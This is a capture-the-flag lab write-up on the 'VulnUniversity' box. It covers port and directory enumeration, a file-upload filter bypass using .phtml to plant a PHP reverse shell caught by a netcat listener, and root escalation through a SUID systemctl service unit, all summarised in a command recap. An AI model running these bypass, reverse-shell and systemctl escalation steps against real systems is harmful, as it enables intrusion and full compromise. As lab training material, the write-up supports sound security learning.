0x00 Introduction
VulnUniversity is a fundamentals-first box. No obscure exploits, no complicated pivots; just two flaws that never die:
Weak upload validation that lets a PHP shell slip through.
Dangerous SUID binary (
systemctl
) abused for root.
This machine is short, surgical, and worth running if you want to sharpen the bread-and-butter workflow: enumerate → fuzz uploads → pop shell → escalate via GTFOBins. It’s the kind of chain you’ll see again and again in OSCP prep and real-world bounty reports.
File Uploads in 2025
It’s almost 30 years since the first web apps started letting users upload files — and developers are still getting it wrong. Why?
Blacklists instead of whitelists. They block
.php
, but forget.phtml
,.php5
, mixed case, or double extensions.Client-side checks. Relying on JavaScript validation means attackers can bypass with a single proxy tweak.
Weak storage controls. Uploads land in web-accessible directories with no renaming, scanning, or sandboxing.
For hackers, uploads remain goldmines. If you see an upload form, test it relentlessly.
If uploads aren’t hardened, they’re often a direct line to code execution.
For a deep dive into file upload vulnerabilities, check out the ToxSec article here.
0x01 Initial Enumeration
First sweep, always full port coverage:
nmap -sC -sV -p- 10.10.151.216
Results came back with a spread of services:
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2
139/tcp open netbios-ssn Samba
445/tcp open microsoft-ds Samba
3128/tcp open http-proxy Squid 3.5.12
3333/tcp open http Apache 2.4.18 (Ubuntu)
Squid proxy (3128) was interesting, but the real hook was Apache on 3333. Browsing there showed a custom web app titled “Vuln University.”
Next step: directory brute force with Gobuster:
gobuster dir -u http://10.10.151.216:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
Output included:
/images
/css
/js
/internal
/internal
stood out. Navigating there revealed a file upload form — no login, no CSRF, no restrictions. Wide open.
Sidebar: Why Gobuster is Still King
There are newer tools, but Gobuster keeps its crown for a reason:
Speed: Written in Go, it tears through wordlists fast.
Flexibility: Works for dirs, vhosts, DNS, and S3 buckets.
Clarity: Response length and status codes make anomalies obvious.
In bounty hunting, directory brute forcing is still one of the easiest ways to find forgotten panels, admin routes, or upload endpoints. “/internal” directories like the one here aren’t fantasy — they show up in real scopes more often than you’d think.
0x02 Exploitation: File Upload → Shell
The upload form under /internal
was barebones — no auth, no CSRF, no hints of real validation. Time to test how sloppy it was.
Fuzzing Extensions
Intercepted an upload request in Burp and set up Intruder. Created two test files:
test.php
(simple<?php echo "test"; ?>
)Pentestmonkey PHP reverse shell.
Ran Intruder in Sniper mode, swapping extensions (.php
, .phtml
, .php3
, .php5
, mixed-case .PhP
).
The winner:
shell.phtml
The filter blocked .php
but allowed .phtml
. Classic lazy blacklist.
Deploying the Shell
Started a listener:
nc -nvlp 4444
Uploaded shell.phtml
(Pentestmonkey reverse shell). Then browsed to:
http://10.10.151.216:3333/internal/uploads/shell.phtml
Shell landed as www-data:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
Pivoted into /home/bill
:
cat /home/bill/user.txt
First flag secured.
Sidebar: Burp Sniper for Upload Bypass
Burp Intruder has four attack modes, but Sniper is the scalpel you want for upload testing:
Mark the insertion point — highlight the file extension (
shell.§php§
).Load payloads — a curated list:
.php
,.phtml
,.php3
,.php5
,.asp;.jpg
, mixed-case tricks.Launch attack — Intruder cycles through one extension at a time.
Analyze results — look for status code or response size anomalies.
Why it works:
Many filters blacklist only
.php
, ignoring lesser-known variants.Sniper isolates the variable, so you can test quickly without noise.
Response size changes often reveal which payload bypassed validation.
Pro tip: Sniper isn’t just for file extensions — use it for fuzzing headers, parameters, or traversal payloads when you want precise, single-variable testing.
Hunter takeaway: Upload filters are rarely bulletproof. If you’re not testing alternate extensions, you’re leaving shells on the table.
0x03 Privilege Escalation: SUID systemctl
With a shell as www-data, first checks:
sudo -l
Denied — no sudo rights.
Next: hunt SUID binaries:
find / -perm -u=s -type f 2>/dev/null
Among the noise, one stood out:
/bin/systemctl
That’s an instant escalation. systemctl
manages services — and when run as SUID, it executes commands as root. By creating a malicious service, linking it, and starting it, we can hijack that power.
Building the Malicious Service
priv=$(mktemp).service
echo '[Service]
ExecStart=/bin/bash -c "cat /root/root.txt > /opt/flag"
[Install]
WantedBy=multi-user.target' > $priv
This tells systemd to run cat /root/root.txt
and drop the flag into /opt/flag
(a readable location).
Linking + Running It
/bin/systemctl link $priv
/bin/systemctl enable --now $priv
Because systemctl
was SUID, these actions executed as root.
Flag retrieved:
cat /opt/flag
Root secured.
Sidebar: GTFOBins = The Shortcut Bible
GTFOBins is a curated list of binaries that can be abused for privesc, file read/write, or shell escapes. When you land a shell, it should be one of your first lookups.
Why it works:
Many common binaries (
systemctl
,vim
,tar
,find
) have legit functionality that, when misconfigured (SUID, sudo rights), translate directly to privilege escalation.Instead of reinventing the wheel, GTFOBins gives tested one-liners.
It covers three key contexts: SUID, sudo, and capabilities.
Hunter workflow:
Run
find / -perm -u=s -type f
to list SUIDs.Check
sudo -l
for sudo-able binaries.Run
getcap -r / 2>/dev/null
for Linux capabilities.Cross-reference with GTFOBins.
If your binary is listed, odds are you’ve got a privesc path.
Takeaway: GTFOBins doesn’t just save time — it expands your privesc intuition. If you train with it, you’ll start spotting vulnerable binaries even before you check the list.
0x04 Debrief
VulnUniversity is short, sharp, and perfectly built for OSCP prep. Two classic flaws chained cleanly:
Upload bypass → Pentestmonkey shell.
SUID systemctl → root execution.
It’s a reminder that flashy CVEs aren’t required. Misconfigured uploads and lazy SUID bits are enough to compromise a system entirely.
For hunters, the big lessons:
Always fuzz upload filters — blacklist-only checks are still common.
Always scan for SUID binaries — especially when sudo is locked down.
Don’t underestimate the power of chaining simple misconfigs.
0x05 Command Recap
# Recon
nmap -sC -sV -p- 10.10.151.216
gobuster dir -u http://10.10.151.216:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
# Exploit (Upload bypass)
# Use Burp Sniper to test .php, .php3, .phtml, etc.
nc -nvlp 4444
# Upload Pentestmonkey reverse shell as shell.phtml
curl http://10.10.151.216:3333/internal/uploads/shell.phtml
# Post-exploitation
find / -perm -u=s -type f 2>/dev/null
# Priv-Esc (systemctl SUID abuse)
priv=$(mktemp).service
echo '[Service]
ExecStart=/bin/bash -c "cat /root/root.txt > /opt/flag"
[Install]
WantedBy=multi-user.target' > $priv
/bin/systemctl link $priv
/bin/systemctl enable --now $priv
cat /opt/flag
Sidebar: Uploads + SUID = Silent Chains
Individually, neither flaw is exotic:
A poor upload filter.
A misconfigured SUID binary.
But chained together, they hand over root without a fight.
This is why defenders often underestimate “basic” vulnerabilities. They patch CVEs but leave weak uploads, or they restrict sudo but leave dangerous SUID binaries. Attackers don’t care if the flaws are boring — if they chain, they compromise.
Takeaway: Treat every small misconfig as a puzzle piece. Alone, it’s noise. Together, it’s root.